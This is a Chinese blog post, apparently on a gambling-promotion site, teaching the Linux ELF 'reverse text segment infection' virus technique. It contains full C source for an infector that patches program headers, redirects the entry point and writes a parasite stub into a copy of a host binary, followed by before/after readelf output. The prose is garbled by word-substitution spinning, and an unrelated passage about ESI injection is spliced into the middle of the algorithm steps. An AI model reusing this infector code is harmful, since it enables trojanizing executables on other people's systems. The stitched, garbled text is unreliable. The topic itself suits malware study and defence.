Linux病毒手艺之逆向text沾染 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Linux病毒手艺之逆向text沾染

申博_安全防护 申博 125次浏览 已收录 0个评论

Linux病毒手艺之逆向text沾染

在举行现实应用逆向text沾染手艺前,我们须要相识甚么是逆向text段沾染,然后才晓得怎样去完成,带着这两个点我们举行下面的现实剖析历程。

甚么是逆向text沾染?

在相识甚么是逆向text段沾染之前我们须要一些前置学问,相识ELF文件映照进内存的一些范例。然后能力相识到内存中哪块地区是我们能够注入寄生代码并执行起来的,如许就引出了逆向text沾染的观点。

ELF内存装载

这里我们就不细致的看[1]内核层的ELF加载的源码历程了,重要我们须要晓得内核推断好以后的文件是ELF可执行文件后,就遍历顺序头表,依据内里的p_vaddr属性值将响应的内容加载到响应的内存地点中去,重要也就是加载两个可加载的段:text段和data段。

一样平常32位可执行顺序的默许加载首地点是:0x8048000,64位可执行顺序的默许首加载地点是:0x400000

逆向text沾染的观点

依据上面顺序的默许加载地点,我们晓得他们一般不是从0最先的,也就是我们能够减小顺序头表中text段的顺序头的p_vaddr值,即映照进内存的值,来让顺序在内存中的首地点向比0x8048000或许0x400000地点低的内存地点延长,即是去应用那些我们没用到的内存地点。

由于我们应用的内存地位是比text段低的内存地点(也就是下图中未运用的内存空间),而且正向是比text段高的内存地点,以是得出的沾染手艺名为逆向text沾染

Linux病毒手艺之逆向text沾染

注重:

  • 我们向上延长的内存长度必需是体系划定的最小假造映照地点(/proc/sys/vm/mmap_min_ addr,一般为4096/0x1000)的整数倍
  • 若是们注入寄生代码的地位是紧跟在文件后背面(如下图),那末我们向低内存地点延长的最小长度就是0x1000(依据上面的最小假造映照地点所得),那末寄生代码长度就是0x1000- sizeof(ElfN_Ehdr)

逆向text沾染的完成

沾染算法

  1. 将 ehdr->e_shoff 增添一个最小假造映照地点的整数倍(充足寄存寄生代码的长度),然则须要把原始节头偏移生存,为了第3步调运用

  2. 修正text段的顺序头(phdr),首先将text段在内存中的首地点向未运用的内存空间延长,然后修正text段的属性来完成text段的扩大

    浅析Edge Side Include注入(下)

    让我们接着上部分,继续研究ESI注入。 应用场景 正如我在前面提到的那样,ESI的实际使用取决于应用提供商。不同的应用会使用不同的功能,甚至某些相同的功能的实现方式也存在差异。为了帮助大家识别攻击启用ESI功能的应用,我们对一些产品进行测试后制作了以下表格: 表中列名含义: Includes:ESI引擎是否支持操作。 Vars:ESI引擎是否支持操作。 Cookie:ESI引擎是否可以访问Cookie。 Upstream Headers Required:上层服务器是否需要提供有效的Header。当标头为上游服务器时,才会执行ESI语句。 Host Whitelist:ESI Includes中引用的主机名是否属于白名单服务器列表。如果开启了白名单策略,攻击者利用ESI Include只能攻击白名单内的主机。 下面我将具体介绍ESI的应用场景以及不同应用间的差异。 Squid3 Squid(一款高性能代理缓存服务器)没有公开其ESI文档,因此我们必须深入源代码分析ESI的使用情况。测试ESI Payload时,我们在最新的Squid上发现了与ESI语句解析有关的两个拒绝服务漏洞。这两个Bug都是NULL指针解除引用造成的,可导致Squid服务器崩溃。两个漏洞分别被分配为:CVE-2018-1000024 和 CVE-2018-1000027 。下面是两个Bug的漏洞咨询

    • 将 p_vaddr 减小最小假造映照地点的整数倍(充足寄存寄生代码的长度)
    • 将 p_paddr 减小最小假造映照地点的整数倍(仅用于与物理地点相干的体系中,和p_vaddr相称)
    • 将 p_filesz 增添最小假造映照地点的整数倍(充足寄存寄生代码的长度)
    • 将 p_memsz 增添最小假造映照地点的整数倍(text段的p_memsz即是p_filesz)
  3. 3.一切文件头背面的区段,包罗有顺序头(除text段的顺序头)、节头的偏移p_offset都须要增添最小假造映照地点的整数倍(充足寄存寄生代码的长度)

  4. 生存原始进口点ehdr->e_entry,然后将进口点更新为寄生代码的首地点:orig_text_vaddr – PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)

    [^PAGE_ROUND]: 这个值是最小假造映照地点的整数倍(充足寄存寄生代码的长度)

  5. 将文件头中的顺序头偏移 ehdr->e_phoff增添最小假造映照地点的整数倍(充足寄存寄生代码的长度)

  6. 插进去寄生代码

详细代码

#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>

#define PAGE_SIZE 4096
#define TMP "test2"

int return_entry_start = 1;
char parasite[] = "\x68\x00\x00\x00\x00\xc3";
unsigned long entry_point;
struct stat st;
int ehdr_size; 


int main(int argc, char **argv)
{
    char *host;
    int parasite_size;
    int fd, i;
    unsigned char *mem; 
    Elf64_Ehdr *e_hdr;
    Elf64_Shdr *s_hdr;
    Elf64_Phdr *p_hdr;
    long o_shoff;
    int text_found = 0;

    if(argc < 2)
    {
       printf("Usage: %s <elf-host>\n",argv[0]);
    }

    host = argv[1];
    parasite_size = sizeof(parasite);
    printf("Length of parasite is %d bytes\n", parasite_size);
    ehdr_size = sizeof(*e_hdr);
    //搜检宿主文件是不是一般
    if((fd=open(host, O_RDONLY)) == -1)
    {
        perror("open");
        exit(-1);
    }
    if((fstat(fd, &st)) < 0)
    {
        perror("fstat");
        exit(-1);
    }
    //将宿主文件映照进内存中
    mem = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED)
    {
       perror("mmap");
       exit(-1);
    }

    e_hdr = (Elf64_Ehdr *)mem;
    //ELF文件检测
    if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF"))
    {
        printf("%s it not an elf file\n", argv[1]);
        exit(-1);
    }

    /*
     *1.将 ehdr->e_shoff 增添一个最小假造映照地点的整数倍(充足寄存寄生代码的长度),然则须要把原始节头偏移生存,为了第3步调运用
     */
    o_shoff = e_hdr->e_shoff;
    e_hdr->e_shoff += PAGE_SIZE;

    /*
     * 2.最先修正text段的顺序头
     *  将 p_vaddr 减小最小假造映照地点的整数倍(充足寄存寄生代码的长度)
     *  将 p_paddr 减小最小假造映照地点的整数倍(仅用于与物理地点相干的体系中,和p_vaddr相称) 
     *  将 p_filesz 增添最小假造映照地点的整数倍(充足寄存寄生代码的长度)
     *  将 p_memsz 增添最小假造映照地点的整数倍(text段的p_memsz即是p_filesz)
     */
    p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);
    for(i=0; i<e_hdr->e_phnum; i++)
    {
        if(p_hdr[i].p_type == PT_LOAD)
        {
            if (p_hdr[i].p_flags == (PF_R | PF_X))
            {
                p_hdr[i].p_vaddr -= PAGE_SIZE;
                p_hdr[i].p_paddr -= PAGE_SIZE;
                p_hdr[i].p_filesz += PAGE_SIZE;
                p_hdr[i].p_memsz += PAGE_SIZE;
                /*
                 * 4.生存原始进口点ehdr->e_entry,然后将进口点更新为寄生代码的首地点:`orig_text_vaddr – PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)`
                 */
                entry_point = e_hdr->e_entry;
                e_hdr->e_entry = p_hdr[i].p_vaddr;
                e_hdr->e_entry += sizeof(*e_hdr);
                printf("new entry: %lx\n", e_hdr->e_entry);
                text_found++;
            /*
             * 3.一切文件头背面的区段,包罗有顺序头(除text段的顺序头)、节头的偏移p_offset都须要增添最小假造映照地点的整数倍(充足寄存寄生代码的长度)
             */
            }else
            {
                p_hdr[i].p_offset += PAGE_SIZE;
            }
        }else
        {
            p_hdr[i].p_offset += PAGE_SIZE;
        }
    }

    s_hdr = (Elf64_Shdr *)(mem + o_shoff);
    printf("section header offset is: %d\n",o_shoff);
    printf("section number is: %d\n",e_hdr->e_shnum);
    for(i=0; i<e_hdr->e_shnum; i++)
    {
        s_hdr[i].sh_offset += PAGE_SIZE;
        printf("section header address: %d-->%d\n",i, s_hdr[i].sh_offset);
    }

    /*
     * 5. 将文件头中的顺序头偏移 ehdr->e_phoff增添最小假造映照地点的整数倍(充足寄存寄生代码的长度)
     */
    e_hdr->e_phoff += PAGE_SIZE;

    /*
     * 6. 插进去寄生代码
     *
     */
    mirror_binary_with_parasite(parasite_size, mem, parasite);
    munmap(mem, st.st_size);
    close(fd);
    return 0;
}

void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite)
{
    int ofd;
    int c;

    printf("Mirroring host binary with parasite %d bytes\n",psize);
    if((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)
    {
        perror("tmp binary: open");
        exit(-1);
    }
    //写入文件头
    if ((c = write(ofd, mem, ehdr_size)) != ehdr_size)
    {
        printf("failed writing ehdr\n");
        exit(-1);
    }
    printf("Patching parasite to jmp to %lx\n", entry_point);
    //写入寄生代码
    *(unsigned int *)&parasite[return_entry_start] = entry_point;
    if ((c = write(ofd, parasite, psize)) != psize)
    {
        perror("writing parasite failed");
        exit(-1); 
    }
    //添补局部
    if ((c = lseek(ofd, ehdr_size + PAGE_SIZE, SEEK_SET)) != ehdr_size + PAGE_SIZE)
    {
        printf("lseek only wrote %d bytes\n", c);
        exit(-1);
    }
    mem += ehdr_size;
    if ((c = write(ofd, mem, st.st_size-ehdr_size)) != st.st_size-ehdr_size)
    {
        printf("Failed writing binary, wrote %d bytes\n", c);
        exit(-1);
    }
    close(ofd);
}

寄生前后顺序对照

寄生前############################################################################
Elf 文件范例为 EXEC (可执行文件)
进口点 0x400500
共有 9 个顺序头,最先于偏移量64

顺序头:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x0000000000000824 0x0000000000000824  R E    200000
  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x0000000000000234 0x0000000000000238  RW     200000
  DYNAMIC        0x0000000000000e28 0x0000000000600e28 0x0000000000600e28
                 0x00000000000001d0 0x00000000000001d0  RW     8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x00000000000006f8 0x00000000004006f8 0x00000000004006f8
                 0x0000000000000034 0x0000000000000034  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x00000000000001f0 0x00000000000001f0  R      1

###############################################################################

寄生后############################################################################
进口点 0x3ff040
共有 9 个顺序头,最先于偏移量4160

顺序头:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000001040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000001238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x00000000003ff000 0x00000000003ff000
                 0x0000000000001824 0x0000000000001824  R E    200000
  LOAD           0x0000000000001e10 0x0000000000600e10 0x0000000000600e10
                 0x0000000000000234 0x0000000000000238  RW     200000
  DYNAMIC        0x0000000000001e28 0x0000000000600e28 0x0000000000600e28
                 0x00000000000001d0 0x00000000000001d0  RW     8
  NOTE           0x0000000000001254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x00000000000016f8 0x00000000004006f8 0x00000000004006f8
                 0x0000000000000034 0x0000000000000034  R      4
  GNU_STACK      0x0000000000001000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x0000000000001e10 0x0000000000600e10 0x0000000000600e10
                 0x00000000000001f0 0x00000000000001f0  R      1
  1. 进口点地位提早了

  2. text段的假造地点提早了0x1000字节,从0x0000000000400000变成了0x00000000003ff000,重要就是添补寄生代码、文件头和过剩的添补地区

    Type           Offset             VirtAddr           PhysAddr
                     FileSiz            MemSiz              Flags  Align
    寄生前########################################################################
    LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                     0x0000000000000824 0x0000000000000824  R E    200000
    寄生后############################################################################
    LOAD           0x0000000000000000 0x00000000003ff000 0x00000000003ff000
                     0x0000000000001824 0x0000000000001824  R E    200000

总结

整体进修历程也还能够,难度不是很大,事先第一眼看linux二进制剖析的时刻也是云里雾里,以后在网上找一些这个手艺的相干博文背面接着看了ELF文件的一些范例和作者的注入代码基本就懂了

全部沾染手艺照样比较简单的,能够边看源码边去看一下ELF的一些范例。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Linux病毒手艺之逆向text沾染
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址